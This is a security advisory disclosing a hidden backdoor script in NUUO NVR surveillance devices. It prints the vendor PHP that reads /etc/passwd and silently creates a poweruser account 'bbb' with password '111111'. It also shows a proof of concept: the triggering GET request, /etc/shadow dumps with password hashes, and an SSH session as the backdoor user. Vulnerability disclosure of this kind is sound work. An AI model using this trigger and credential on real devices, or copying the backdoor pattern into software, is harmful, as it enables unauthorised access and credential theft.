395 lines
No EOL
10 KiB
Text
395 lines
No EOL
10 KiB
Text
|
||
NUUO Backdoor (strong_user.php) Remote Shell Access
|
||
|
||
|
||
Vendor: NUUO Inc.
|
||
Product web page: http://www.nuuo.com
|
||
Affected version: <=3.0.8 (NE-4160, NT-4040)
|
||
|
||
Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
|
||
functionality. Setup is simple and easy, with automatic port forwarding
|
||
settings built in. NVRmini 2 supports POS integration, making this the perfect
|
||
solution for small retail chain stores. NVRmini 2 also comes full equipped as
|
||
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
|
||
and RAID functions for data protection. Choose NVR and know that your valuable video
|
||
data is safe, always.
|
||
|
||
Desc: NUUO NVRmini, NVRmini2, Crystal and NVRSolo devices have a hidden PHP script
|
||
that when called, a backdoor user is created with poweruser privileges that is able
|
||
to read and write files on the affected device. The backdoor user 'bbb' when created
|
||
with the password '111111' by visiting 'strong_user.php' script is able to initiate a
|
||
secure shell session and further steal and/or destroy sensitive information.
|
||
|
||
==================================================================
|
||
/strong_user.php:
|
||
-------------------------------
|
||
|
||
<?php
|
||
|
||
|
||
|
||
class ReadPasswd{
|
||
private $file;
|
||
private $fileData;
|
||
private $error;
|
||
|
||
function __construct($file) {
|
||
try{
|
||
if (is_file($file))
|
||
{
|
||
$this->fileData = file($file);
|
||
$this->file = $file;
|
||
}
|
||
else
|
||
{
|
||
throw new Exception("Couldn’t open file.");
|
||
}
|
||
} catch (Exception $e) {
|
||
$this->error[] = $e->getMessage();
|
||
}
|
||
}
|
||
|
||
public function getAllHTML(){
|
||
foreach ($this->fileData as $content)
|
||
{
|
||
$temp = explode(':', $content);
|
||
$output .= "<b>Username: {$temp[0]} </b><br />";
|
||
$output .= "Validation: {$temp[1]} <br />";
|
||
$output .= "User Identifier: {$temp[2]} <br />";
|
||
$output .= "Group Identifier: {$temp[3]} <br />";
|
||
$output .= "Gecos Field: {$temp[4]} <br />";
|
||
$output .= "Home Directory: {$temp[5]} <br />";
|
||
$output .= "Shell: {$temp[6]} <br />";
|
||
$output .= "<br />";
|
||
}
|
||
return $output;
|
||
}
|
||
|
||
public function getAllCLI() {
|
||
foreach ($this->fileData as $content)
|
||
{
|
||
$temp = explode(':', $content);
|
||
$output .= "Username: {$temp[0]} n";
|
||
$output .= "Validation: {$temp[1]} n";
|
||
$output .= "User Identifier: {$temp[2]} n";
|
||
$output .= "Group Identifier: {$temp[3]} n";
|
||
$output .= "Gecos Field: {$temp[4]} n";
|
||
$output .= "Home Directory: {$temp[5]} n";
|
||
$output .= "Shell: {$temp[6]} n";
|
||
$output .= "n";
|
||
}
|
||
return $output;
|
||
}
|
||
|
||
public function searchUser($user,$data=0) {
|
||
try{
|
||
$data = array();
|
||
if (is_string($user))
|
||
{
|
||
foreach($this->fileData as $line)
|
||
{
|
||
$temp = explode(':', $line);
|
||
if (in_array($user,$temp))
|
||
{
|
||
if ($data) return 1;
|
||
$data['username'] = $temp[0];
|
||
$data['validation'] = $temp[1];
|
||
$data['user_identifier'] = $temp[2];
|
||
$data['group_identifier'] = $temp[3];
|
||
$data['gecos'] = $temp[4];
|
||
$data['home_directory'] = $temp[5];
|
||
$data['shell'] = $temp[6];
|
||
}
|
||
|
||
}
|
||
}
|
||
else
|
||
{
|
||
throw new Exception('A search error has occured.');
|
||
}
|
||
} catch (Exception $e) {
|
||
$this->error[] = $e->getMessage();
|
||
}
|
||
return $data;
|
||
}
|
||
|
||
public function getError() {
|
||
return $this->error;
|
||
}
|
||
|
||
public function deleteUser($user) {
|
||
try{
|
||
if ($this->searchUser($user,1))
|
||
{
|
||
foreach ($this->fileData as $line)
|
||
{
|
||
$lines = explode(":",$line);
|
||
if (!in_array($user,$lines))
|
||
{
|
||
$final .= $line;
|
||
}
|
||
}
|
||
if(!file_put_contents($this->file,$final))
|
||
{
|
||
throw new Exception("Could not delete user.");
|
||
}
|
||
}
|
||
else
|
||
{
|
||
throw new Exception("User doesn’t exist.");
|
||
}
|
||
} catch (Exception $e) {
|
||
echo $this->error[] = $e->getMessage();
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
/*
|
||
|
||
echo "Strong test ";
|
||
|
||
ma_getuser();
|
||
ma_getgroup();
|
||
|
||
$result = array('users' => array(), 'groups' => array());
|
||
|
||
echo "<br>";
|
||
echo $maUser;
|
||
echo "<br>";
|
||
echo $maGroup;
|
||
echo "<br>";
|
||
|
||
foreach($maGroup as $key =>$value)
|
||
{
|
||
$tmp = array();
|
||
$tmp['groupname'] = $maGroup[$key]->strGroupname;
|
||
$tmp['members'] = array();
|
||
echo "Group (" . $key . ") === " . $maGroup[$key]->strGroupname;
|
||
echo "<br><br>";
|
||
ma_getgroupmember($maGroup[$key]->strGroupname);
|
||
foreach ($maGroupmember as $mKey => $mValue)
|
||
{
|
||
echo " User ($mKey) ===> $mValue ";
|
||
echo "<br>";
|
||
array_push($tmp['members'], $maGroupmember[$mKey]->strUsername);
|
||
}
|
||
//foreach($value as $userkey => $uservalue)
|
||
//{
|
||
// echo " User ($userkey) ===> $uservalue ";
|
||
// echo "<br>";
|
||
//}
|
||
echo "<br>";
|
||
echo implode(",", $tmp['members']);
|
||
echo "<br>";
|
||
$tmp['membersStr'] = implode(",", $tmp['members']);
|
||
array_push($result['groups'], $tmp);
|
||
}
|
||
|
||
|
||
echo "<h1> Other </h1>";
|
||
$tmp = array();
|
||
$tmp['groupname'] = 'admin';
|
||
ma_getgroupmember($tmp['groupname']);
|
||
//ma_getgroupmember('');
|
||
$tmp['members'] = array();
|
||
foreach ($maGroupmember as $mKey => $mValue)
|
||
{
|
||
array_push($tmp['members'], $maGroupmember[$mKey]->strUsername);
|
||
echo $maGroupmember[$mKey]->strUsername . "<br>";
|
||
}
|
||
$tmp['membersStr'] = implode(",", $tmp['members']);
|
||
array_push($result['groups'], $tmp);
|
||
|
||
|
||
echo "<h1> USER </h1>";
|
||
|
||
foreach ( $maUser as $key => $value)
|
||
{
|
||
$tmp = array();
|
||
$tmp['username'] = $maUser[$key]->strUsername;
|
||
$tmp['groups'] = array();
|
||
foreach ($result['groups'] as $gKey => $gValue)
|
||
{
|
||
if (in_array($tmp['username'], $gValue['members']))
|
||
array_push($tmp['groups'], $gValue['groupname']);
|
||
}
|
||
$tmp['groupsStr'] = implode(",", $tmp['groups']);
|
||
echo $tmp['username'] . "<br>";
|
||
echo $tmp['groupsStr'] . "<br>";
|
||
array_push($result['users'], $tmp);
|
||
}
|
||
*/
|
||
|
||
echo "<h1> Read Passwd </h1>";
|
||
|
||
$passclass = new ReadPasswd('/etc/passwd');
|
||
echo $passclass->getAllHTML();
|
||
|
||
echo "<h1> add user </h1>";
|
||
//$output = system("adduser bbb -G poweruser -s /sbin/nologin -D -H; passwd bbb 111111");
|
||
//$output = system("adduser bbb -G poweruser -s /sbin/nologin -D -H");
|
||
$output = system("adduser bbb -G poweruser -D ");
|
||
|
||
|
||
/*
|
||
|
||
$f = popen ("/usr/bin/passwd bbb","r");
|
||
$read = fread($f, 1024);
|
||
$out = fwrite($f,"111111\n");
|
||
echo $read . " read 111 ,,, $out <br>";
|
||
$read = fread($f, 1024);
|
||
$out = fwrite($f,"111111\n");
|
||
echo $read . " read 222 ,,, $out <br>";
|
||
pclose($f);
|
||
//echo $output . " kkk <br>";
|
||
*/
|
||
$descriptorspec = array(
|
||
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
|
||
1 => array("pipe", "w") // stdout is a pipe that the child will write to
|
||
);
|
||
|
||
$process = proc_open('/usr/bin/passwd bbb', $descriptorspec, $pipes);
|
||
if (is_resource($process))
|
||
{
|
||
$read = fread($pipes[1], 1024);
|
||
$out = fwrite($pipes[0],"111111\n");
|
||
echo $read . " read 111 ,,, $out <br>";
|
||
$read = fread($pipes[1], 1024);
|
||
$out = fwrite($pipes[0],"111111\n");
|
||
echo $read . " read 111 ,,, $out <br>";
|
||
|
||
fclose($pipes[0]);
|
||
fclose($pipes[1]);
|
||
}
|
||
proc_close($process);
|
||
|
||
|
||
|
||
//$handle = popen("/bin/ls", "r");
|
||
//$read = fread($handle, 1024);
|
||
//echo $read;
|
||
//pclose($handle);
|
||
|
||
?>
|
||
|
||
==================================================================
|
||
|
||
Tested on: GNU/Linux 3.0.8 (armv7l)
|
||
GNU/Linux 2.6.31.8 (armv5tel)
|
||
lighttpd/1.4.28
|
||
PHP/5.5.3
|
||
|
||
|
||
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||
@zeroscience
|
||
|
||
|
||
Advisory ID: ZSL-2016-5354
|
||
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5354.php
|
||
|
||
|
||
14.01.2016
|
||
|
||
--
|
||
|
||
|
||
#1
|
||
Read of /etc/shadow file before backdoor was enabled:
|
||
------------------------------------------------------
|
||
|
||
root@nuuo:~# cat /etc/shadow
|
||
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
|
||
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
|
||
bin:*:14495:0:99999:7:::
|
||
daemon:*:14495:0:99999:7:::
|
||
adm:*:14495:0:99999:7:::
|
||
lp:*:14495:0:99999:7:::
|
||
sync:*:14495:0:99999:7:::
|
||
shutdown:*:14495:0:99999:7:::
|
||
halt:*:14495:0:99999:7:::
|
||
mail:*:14495:0:99999:7:::
|
||
uucp:*:14495:0:99999:7:::
|
||
operator:*:14495:0:99999:7:::
|
||
games:*:14495:0:99999:7:::
|
||
gopher:*:14495:0:99999:7:::
|
||
ftp:*:14495:0:99999:7:::
|
||
nobody:*:14495:0:99999:7:::
|
||
vcsa:!!:14564::::::
|
||
sshd:!!:14564::::::
|
||
guest::14564:0:99999:7:::
|
||
|
||
|
||
#2
|
||
Issuing GET request to the script:
|
||
-----------------------------------
|
||
|
||
GET http://10.0.0.17/strong_user.php HTTP/1.1
|
||
|
||
|
||
#3
|
||
Read of /etc/shadow file after backdoor was enabled:
|
||
-----------------------------------------------------
|
||
|
||
root@nuuo:~# cat /etc/shadow
|
||
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
|
||
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
|
||
bin:*:14495:0:99999:7:::
|
||
daemon:*:14495:0:99999:7:::
|
||
adm:*:14495:0:99999:7:::
|
||
lp:*:14495:0:99999:7:::
|
||
sync:*:14495:0:99999:7:::
|
||
shutdown:*:14495:0:99999:7:::
|
||
halt:*:14495:0:99999:7:::
|
||
mail:*:14495:0:99999:7:::
|
||
uucp:*:14495:0:99999:7:::
|
||
operator:*:14495:0:99999:7:::
|
||
games:*:14495:0:99999:7:::
|
||
gopher:*:14495:0:99999:7:::
|
||
ftp:*:14495:0:99999:7:::
|
||
nobody:*:14495:0:99999:7:::
|
||
vcsa:!!:14564::::::
|
||
sshd:!!:14564::::::
|
||
guest::14564:0:99999:7:::
|
||
bbb:$1$gYfUNAQN$.sn8WpIO5gNoOQeZzSyBI/:16915:0:99999:7:::
|
||
|
||
|
||
#4
|
||
The backdoor account is able to read the /etc/shadow file:
|
||
-----------------------------------------------------------
|
||
|
||
login as: bbb
|
||
bbb@10.0.0.17's password:
|
||
-sh-3.2$ id
|
||
Using fallback suid method
|
||
uid=1004(bbb) gid=1000(poweruser) groups=1000(poweruser)
|
||
-sh-3.2$ cat /etc/shadow
|
||
Using fallback suid method
|
||
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
|
||
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
|
||
bin:*:14495:0:99999:7:::
|
||
daemon:*:14495:0:99999:7:::
|
||
adm:*:14495:0:99999:7:::
|
||
lp:*:14495:0:99999:7:::
|
||
sync:*:14495:0:99999:7:::
|
||
shutdown:*:14495:0:99999:7:::
|
||
halt:*:14495:0:99999:7:::
|
||
mail:*:14495:0:99999:7:::
|
||
uucp:*:14495:0:99999:7:::
|
||
operator:*:14495:0:99999:7:::
|
||
games:*:14495:0:99999:7:::
|
||
gopher:*:14495:0:99999:7:::
|
||
ftp:*:14495:0:99999:7:::
|
||
nobody:*:14495:0:99999:7:::
|
||
vcsa:!!:14564::::::
|
||
sshd:!!:14564::::::
|
||
guest::14564:0:99999:7:::
|
||
bbb:$1$gYfUNAQN$.sn8WpIO5gNoOQeZzSyBI/:16915:0:99999:7:::
|
||
-sh-3.2$ |